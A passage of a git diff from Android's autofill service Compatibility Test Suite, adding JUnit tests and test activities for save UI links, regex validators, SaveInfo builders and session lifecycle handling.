+import static android.autofillservice.cts.PreSimpleSaveActivity.ID_PRE_INPUT;
+import static android.autofillservice.cts.SimpleSaveActivity.ID_INPUT;
+import static android.autofillservice.cts.SimpleSaveActivity.ID_LABEL;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.content.Intent;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+
+import org.junit.Rule;
+
+public class PreSimpleSaveActivityTest extends CustomDescriptionWithLinkTestCase {
+
+ @Rule
+ public final AutofillActivityTestRule<PreSimpleSaveActivity> mActivityRule =
+ new AutofillActivityTestRule<PreSimpleSaveActivity>(PreSimpleSaveActivity.class, false);
+
+ private PreSimpleSaveActivity mActivity;
+
+ private void startActivity(boolean remainOnRecents) {
+ final Intent intent = new Intent(mContext, PreSimpleSaveActivity.class);
+ if (remainOnRecents) {
+ intent.setFlags(
+ Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
+ }
+ mActivity = mActivityRule.launchActivity(intent);
+ }
+
+ @Override
+ protected void saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction type)
+ throws Exception {
+ startActivity(false);
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setCustomDescription(newCustomDescription(WelcomeActivity.class))
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mPreInput.setText("108");
+ mActivity.mSubmit.performClick();
+ });
+ // Make sure post-save activity is shown...
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+
+ // Tap the link.
+ final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+ tapSaveUiLink(saveUi);
+
+ // Make sure new activity is shown...
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // .. then do something to return to previous activity...
+ switch (type) {
+ case ROTATE_THEN_TAP_BACK_BUTTON:
+ sUiBot.setScreenOrientation(UiBot.LANDSCAPE);
+ // not breaking on purpose
+ case TAP_BACK_BUTTON:
+ sUiBot.pressBack();
+ break;
+ case FINISH_ACTIVITY:
+ // ..then finishes it.
+ WelcomeActivity.finishIt();
+ break;
+ default:
+ throw new IllegalArgumentException("invalid type: " + type);
+ }
+
+ // ... and tap save.
+ final UiObject2 newSaveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+ sUiBot.saveForAutofill(newSaveUi, true);
+
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PRE_INPUT), "108");
+ }
+
+ @Override
+ protected void tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction action,
+ boolean manualRequest) throws Exception {
+ startActivity(false);
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setCustomDescription(newCustomDescription(WelcomeActivity.class))
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mPreInput.setText("108");
+ mActivity.mSubmit.performClick();
+ });
+ // Make sure post-save activity is shown...
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+
+ // Tap the link.
+ final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+ tapSaveUiLink(saveUi);
+
+ // Make sure new activity is shown...
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // Tap back to restore the Save UI...
+ sUiBot.pressBack();
+
+ // ...but don't tap it...
+ final UiObject2 saveUi2 = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // ...instead, do something to dismiss it:
+ switch (action) {
+ case TOUCH_OUTSIDE:
+ sUiBot.assertShownByRelativeId(ID_LABEL).longClick();
+ break;
+ case TAP_NO_ON_SAVE_UI:
+ sUiBot.saveForAutofill(saveUi2, false);
+ break;
+ case TAP_YES_ON_SAVE_UI:
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PRE_INPUT),
+ "108");
+ Helper.assertNoDanglingSessions();
+ break;
+ default:
+ throw new IllegalArgumentException("invalid action: " + action);
+ }
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // Make sure previous session was finished.
+ Helper.assertNoDanglingSessions();
+
+ // Now triggers a new session in the new activity (SaveActivity) and do business as usual...
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_EMAIL_ADDRESS, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ final SimpleSaveActivity newActivty = SimpleSaveActivity.getInstance();
+ if (manualRequest) {
+ newActivty.getAutofillManager().requestAutofill(newActivty.mInput);
+ } else {
+ newActivty.syncRunOnUiThread(() -> newActivty.mPassword.requestFocus());
+ }
+
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ newActivty.syncRunOnUiThread(() -> {
+ newActivty.mInput.setText("42");
+ newActivty.mCommit.performClick();
+ });
+ // Make sure post-save activity is shown...
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+
+ // Save it...
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_EMAIL_ADDRESS);
+
+ // ... and assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "42");
+ }
+
+ @Override
+ protected void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
+ throws Exception {
+ startActivity(type == PostSaveLinkTappedAction.TAP_RECENTS);
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setCustomDescription(newCustomDescription(WelcomeActivity.class))
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mPreInput.setText("108");
+ mActivity.mSubmit.performClick();
+ });
+ // Make sure post-save activity is shown...
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+
+ // Tap the link.
+ final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+ tapSaveUiLink(saveUi);
+
+ // Make sure linked activity is shown...
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ switch (type) {
+ case TAP_RECENTS:
+ sUiBot.switchAppsUsingRecents();
+ // Make sure right activity is showing.
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+ break;
+ case LAUNCH_PREVIOUS_ACTIVITY:
+ startActivity(PreSimpleSaveActivity.class);
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+ break;
+ case LAUNCH_NEW_ACTIVITY:
+ // Launch a 3rd activity...
+ startActivity(LoginActivity.class);
+ sUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
+ // ...then go back
+ sUiBot.pressBack();
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+ break;
+ default:
+ throw new IllegalArgumentException("invalid type: " + type);
+ }
+
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+ }
+
+ @Override
+ protected void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
+ throws Exception {
+ // Prepare activity.
+ startActivity(false);
+ mActivity.mPreInput.getRootView()
+ .setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS);
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setCustomDescription(newCustomDescription(TrampolineWelcomeActivity.class))
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.getAutofillManager().requestAutofill(mActivity.mPreInput);
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mPreInput.setText("108");
+ mActivity.mSubmit.performClick();
+ });
+ final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+
+ // Tap the link.
+ tapSaveUiLink(saveUi);
+
+ // Make sure new activity is shown...
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+
+ // Save UI should be showing as well, since Trampoline finished.
+ sUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // Go back and make sure it's showing the right activity.
+ sUiBot.pressBack();
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+
+ // Now triggers a new session in the new activity (SaveActivity) and do business as usual...
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_EMAIL_ADDRESS, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ final SimpleSaveActivity newActivty = SimpleSaveActivity.getInstance();
+ newActivty.getAutofillManager().requestAutofill(newActivty.mInput);
+
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ newActivty.syncRunOnUiThread(() -> {
+ newActivty.mInput.setText("42");
+ newActivty.mCommit.performClick();
+ });
+ // Make sure post-save activity is shown...
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+
+ // Save it...
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_EMAIL_ADDRESS);
+
+ // ... and assert results
+ final SaveRequest saveRequest1 = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest1.structure, ID_INPUT), "42");
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java
new file mode 100644
index 0000000..f7ac268
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.RegexValidator;
+import android.service.autofill.ValueFinder;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillId;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class RegexValidatorTest {
+
+ @Test
+ public void allNullConstructor() {
+ assertThrows(NullPointerException.class, () -> new RegexValidator(null, null));
+ }
+
+ @Test
+ public void nullRegexConstructor() {
+ assertThrows(NullPointerException.class,
+ () -> new RegexValidator(new AutofillId(1), null));
+ }
+
+ @Test
+ public void nullAutofillIdConstructor() {
+ assertThrows(NullPointerException.class,
+ () -> new RegexValidator(null, Pattern.compile(".")));
+ }
+
+ @Test
+ public void unknownField() {
+ AutofillId unknownId = new AutofillId(42);
+
+ RegexValidator validator = new RegexValidator(unknownId, Pattern.compile(".*"));
+
+ ValueFinder finder = mock(ValueFinder.class);
+
+ when(finder.findByAutofillId(unknownId)).thenReturn(null);
+ assertThat(validator.isValid(finder)).isFalse();
+ }
+
+ @Test
+ public void singleFieldValid() {
+ AutofillId creditCardFieldId = new AutofillId(1);
+ RegexValidator validator = new RegexValidator(creditCardFieldId,
+ Pattern.compile("^\\s*\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}[\\s-]?(\\d{4})\\s*$"));
+
+ ValueFinder finder = mock(ValueFinder.class);
+
+ when(finder.findByAutofillId(creditCardFieldId)).thenReturn("1234 5678 9012 3456");
+ assertThat(validator.isValid(finder)).isTrue();
+
+ when(finder.findByAutofillId(creditCardFieldId)).thenReturn("invalid");
+ assertThat(validator.isValid(finder)).isFalse();
+ }
+
+ @Test
+ public void singleFieldInvalid() {
+ AutofillId id = new AutofillId(1);
+ RegexValidator validator = new RegexValidator(id, Pattern.compile("\\d*"));
+
+ ValueFinder finder = mock(ValueFinder.class);
+
+ when(finder.findByAutofillId(id)).thenReturn("123a456");
+
+ // Regex has to match the whole value
+ assertThat(validator.isValid(finder)).isFalse();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/RetryRule.java b/tests/autofillservice/src/android/autofillservice/cts/RetryRule.java
index 5955d4f..be740b1 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/RetryRule.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/RetryRule.java
@@ -16,9 +16,8 @@
package android.autofillservice.cts;
-import android.util.Log;
-
import android.support.test.uiautomator.StaleObjectException;
+import android.util.Log;
import org.junit.rules.TestRule;
import org.junit.runner.Description;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/RetryableException.java b/tests/autofillservice/src/android/autofillservice/cts/RetryableException.java
index 9b9d651..7ca7d62 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/RetryableException.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/RetryableException.java
@@ -26,6 +26,10 @@
}
public RetryableException(String format, Object...args) {
- this(String.format(format, args));
+ super(String.format(format, args));
+ }
+
+ public RetryableException(Throwable cause, String format, Object...args) {
+ super(String.format(format, args), cause);
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java b/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
new file mode 100644
index 0000000..702e1b1
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.SaveInfo;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillId;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class SaveInfoTest {
+
+ @Test
+ public void testRequiredIdsBuilder_null() {
+ assertThrows(IllegalArgumentException.class,
+ () -> new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC, null));
+ }
+
+ @Test
+ public void testRequiredIdsBuilder_empty() {
+ assertThrows(IllegalArgumentException.class,
+ () -> new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC, new AutofillId[] {}));
+ }
+
+ @Test
+ public void testRequiredIdsBuilder_nullEntry() {
+ assertThrows(IllegalArgumentException.class,
+ () -> new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
+ new AutofillId[] { null }));
+ }
+
+ @Test
+ public void testBuild_noOptionalIds() {
+ final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC);
+ assertThrows(IllegalStateException.class, ()-> builder.build());
+ }
+
+ @Test
+ public void testSetOptionalIds_null() {
+ final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
+ new AutofillId[] { new AutofillId(42) });
+ assertThrows(IllegalArgumentException.class, ()-> builder.setOptionalIds(null));
+ }
+
+ @Test
+ public void testSetOptional_empty() {
+ final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
+ new AutofillId[] { new AutofillId(42) });
+ assertThrows(IllegalArgumentException.class,
+ () -> builder.setOptionalIds(new AutofillId[] {}));
+ }
+
+ @Test
+ public void testSetOptional_nullEntry() {
+ final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
+ new AutofillId[] { new AutofillId(42) });
+ assertThrows(IllegalArgumentException.class,
+ () -> builder.setOptionalIds(new AutofillId[] { null }));
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
index 2065b3d..923b471 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
@@ -19,6 +19,7 @@
import static android.autofillservice.cts.Helper.ID_LOGIN;
import static android.autofillservice.cts.Helper.ID_PASSWORD;
import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.assertNoDanglingSessions;
import static android.autofillservice.cts.Helper.assertTextAndValue;
import static android.autofillservice.cts.Helper.eventually;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
@@ -93,110 +94,116 @@
// Set service.
enableService();
- // Start activity that is autofilled in a separate process so it can be killed
- Intent outOfProcessAcvitityStartIntent = new Intent(getContext(),
- OutOfProcessLoginActivity.class);
- getContext().startActivity(outOfProcessAcvitityStartIntent);
+ sUiBot.setScreenResolution();
- // Set expectations.
- final Bundle extras = new Bundle();
- extras.putString("numbers", "4815162342");
+ try {
+ // Start activity that is autofilled in a separate process so it can be killed
+ Intent outOfProcessAcvitityStartIntent = new Intent(getContext(),
+ OutOfProcessLoginActivity.class);
+ getContext().startActivity(outOfProcessAcvitityStartIntent);
- // Create the authentication intent (launching a full screen activity)
- IntentSender authentication = PendingIntent.getActivity(getContext(), 0,
- new Intent(getContext(), ManualAuthenticationActivity.class),
- 0).getIntentSender();
+ // Set expectations.
+ final Bundle extras = new Bundle();
+ extras.putString("numbers", "4815162342");
- // Prepare the authenticated response
- ManualAuthenticationActivity.setResponse(new CannedFillResponse.Builder()
- .addDataset(new CannedFillResponse.CannedDataset.Builder()
- .setField(ID_USERNAME, AutofillValue.forText("autofilled username"))
- .setPresentation(createPresentation("dataset")).build())
- .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
- .setExtras(extras).build());
+ // Create the authentication intent (launching a full screen activity)
+ IntentSender authentication = PendingIntent.getActivity(getContext(), 0,
+ new Intent(getContext(), ManualAuthenticationActivity.class),
+ 0).getIntentSender();
- CannedFillResponse response = new CannedFillResponse.Builder()
- .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
- .setPresentation(createPresentation("authenticate"))
- .build();
- sReplier.addResponse(response);
+ // Prepare the authenticated response
+ ManualAuthenticationActivity.setResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedFillResponse.CannedDataset.Builder()
+ .setField(ID_USERNAME, AutofillValue.forText("autofilled username"))
+ .setPresentation(createPresentation("dataset")).build())
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+ .setExtras(extras).build());
- // Trigger autofill on username
- sUiBot.selectById(USERNAME_FULL_ID);
+ CannedFillResponse response = new CannedFillResponse.Builder()
+ .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+ .setPresentation(createPresentation("authenticate"))
+ .build();
+ sReplier.addResponse(response);
- // Wait for fill request to be processed
- sReplier.getNextFillRequest();
+ // Trigger autofill on username
+ sUiBot.selectById(USERNAME_FULL_ID);
- // Wait until authentication is shown
- sUiBot.assertDatasets("authenticate");
+ // Wait for fill request to be processed
+ sReplier.getNextFillRequest();
- // Change orientation which triggers a destroy -> create in the app as the activity
- // cannot deal with such situations
- sUiBot.setScreenOrientation(LANDSCAPE);
+ // Wait until authentication is shown
+ sUiBot.assertDatasets("authenticate");
- // Delete stopped marker
- getStoppedMarker(getContext()).delete();
+ // Change orientation which triggers a destroy -> create in the app as the activity
+ // cannot deal with such situations
+ sUiBot.setScreenOrientation(LANDSCAPE);
- // Authenticate
- sUiBot.selectDataset("authenticate");
+ // Delete stopped marker
+ getStoppedMarker(getContext()).delete();
- // Kill activity that is in the background
- killOfProcessLoginActivityProcess();
+ // Authenticate
+ sUiBot.selectDataset("authenticate");
- // Change orientation which triggers a destroy -> create in the app as the activity
- // cannot deal with such situations
- sUiBot.setScreenOrientation(PORTRAIT);
+ // Kill activity that is in the background
+ killOfProcessLoginActivityProcess();
- // Approve authentication
- sUiBot.selectById(BUTTON_FULL_ID);
+ // Change orientation which triggers a destroy -> create in the app as the activity
+ // cannot deal with such situations
+ sUiBot.setScreenOrientation(PORTRAIT);
- // Wait for dataset to be shown
- sUiBot.assertDatasets("dataset");
+ // Approve authentication
+ sUiBot.selectById(BUTTON_FULL_ID);
- // Change orientation which triggers a destroy -> create in the app as the activity
- // cannot deal with such situations
- sUiBot.setScreenOrientation(LANDSCAPE);
+ // Wait for dataset to be shown
+ sUiBot.assertDatasets("dataset");
- // Select dataset
- sUiBot.selectDataset("dataset");
+ // Change orientation which triggers a destroy -> create in the app as the activity
+ // cannot deal with such situations
+ sUiBot.setScreenOrientation(LANDSCAPE);
- // Check the results.
- eventually(() -> assertThat(sUiBot.getTextById(USERNAME_FULL_ID)).isEqualTo(
- "autofilled username"));
+ // Select dataset
+ sUiBot.selectDataset("dataset");
- // Set password
- sUiBot.setTextById(PASSWORD_FULL_ID, "new password");
+ // Check the results.
+ eventually(() -> assertThat(sUiBot.getTextById(USERNAME_FULL_ID)).isEqualTo(
+ "autofilled username"));
- // Login
- sUiBot.selectById(LOGIN_FULL_ID);
+ // Set password
+ sUiBot.setTextById(PASSWORD_FULL_ID, "new password");
- // Wait for save UI to be shown
- sUiBot.assertShownById("android:id/autofill_save_yes");
+ // Login
+ sUiBot.selectById(LOGIN_FULL_ID);
- // Change orientation to make sure save UI can handle this
- sUiBot.setScreenOrientation(PORTRAIT);
+ // Wait for save UI to be shown
+ sUiBot.assertShownById("android:id/autofill_save_yes");
- // Tap "Save".
- sUiBot.selectById("android:id/autofill_save_yes");
+ // Change orientation to make sure save UI can handle this
+ sUiBot.setScreenOrientation(PORTRAIT);
- // Get save request
- InstrumentedAutoFillService.SaveRequest saveRequest = sReplier.getNextSaveRequest();
- assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
+ // Tap "Save".
+ sUiBot.selectById("android:id/autofill_save_yes");
- // Make sure data is correctly saved
- final AssistStructure.ViewNode username = findNodeByResourceId(saveRequest.structure,
- ID_USERNAME);
- assertTextAndValue(username, "autofilled username");
- final AssistStructure.ViewNode password = findNodeByResourceId(saveRequest.structure,
- ID_PASSWORD);
- assertTextAndValue(password, "new password");
+ // Get save request
+ InstrumentedAutoFillService.SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
- // Make sure extras were passed back on onSave()
- assertThat(saveRequest.data).isNotNull();
- final String extraValue = saveRequest.data.getString("numbers");
- assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
+ // Make sure data is correctly saved
+ final AssistStructure.ViewNode username = findNodeByResourceId(saveRequest.structure,
+ ID_USERNAME);
+ assertTextAndValue(username, "autofilled username");
+ final AssistStructure.ViewNode password = findNodeByResourceId(saveRequest.structure,
+ ID_PASSWORD);
+ assertTextAndValue(password, "new password");
- eventually(() -> assertNoDanglingSessions());
+ // Make sure extras were passed back on onSave()
+ assertThat(saveRequest.data).isNotNull();
+ final String extraValue = saveRequest.data.getString("numbers");
+ assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
+
+ eventually(() -> assertNoDanglingSessions());
+ } finally {
+ sUiBot.resetScreenResolution();
+ }
}
@Test
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java
new file mode 100644
index 0000000..0866b2d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.os.Bundle;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.TextView;
+
+/**
+ * Simple activity that has an edit text and buttons to cancel or commit the autofill context.
+ */
+public class SimpleSaveActivity extends AbstractAutoFillActivity {
+
+ static final String ID_LABEL = "label";
+ static final String ID_INPUT = "input";
+ static final String ID_PASSWORD = "password";
+ static final String ID_COMMIT = "commit";
+ static final String TEXT_LABEL = "Label:";
+
+ TextView mLabel;
+ EditText mInput;
+ EditText mPassword;
+ Button mCancel;
+ Button mCommit;
+
+ private static SimpleSaveActivity sInstance;
+
+ public static SimpleSaveActivity getInstance() {
+ return sInstance;
+ }
+
+ public SimpleSaveActivity() {
+ sInstance = this;
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.simple_save_activity);
+
+ mLabel = findViewById(R.id.label);
+ mInput = findViewById(R.id.input);
+ mPassword = findViewById(R.id.password);
+ mCancel = findViewById(R.id.cancel);
+ mCommit = findViewById(R.id.commit);
+
+ mCancel.setOnClickListener((v) -> getAutofillManager().cancel());
+ mCommit.setOnClickListener((v) -> getAutofillManager().commit());
+ }
+
+ FillExpectation expectAutoFill(String input, String password) {
+ final FillExpectation expectation = new FillExpectation(input, password);
+ mInput.addTextChangedListener(expectation.mInputWatcher);
+ mPassword.addTextChangedListener(expectation.mPasswordWatcher);
+ return expectation;
+ }
+
+ final class FillExpectation {
+ private final OneTimeTextWatcher mInputWatcher;
+ private final OneTimeTextWatcher mPasswordWatcher;
+
+ private FillExpectation(String input, String password) {
+ mInputWatcher = new OneTimeTextWatcher("input", mInput, input);
+ mPasswordWatcher = new OneTimeTextWatcher("password", mPassword, password);
+ }
+
+ void assertAutoFilled() throws Exception {
+ mInputWatcher.assertAutoFilled();
+ mPasswordWatcher.assertAutoFilled();
+ }
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
new file mode 100644
index 0000000..24b5e4c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
@@ -0,0 +1,735 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.assertTextAndValue;
+import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
+import static android.autofillservice.cts.SimpleSaveActivity.ID_COMMIT;
+import static android.autofillservice.cts.SimpleSaveActivity.ID_INPUT;
+import static android.autofillservice.cts.SimpleSaveActivity.ID_LABEL;
+import static android.autofillservice.cts.SimpleSaveActivity.ID_PASSWORD;
+import static android.autofillservice.cts.SimpleSaveActivity.TEXT_LABEL;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
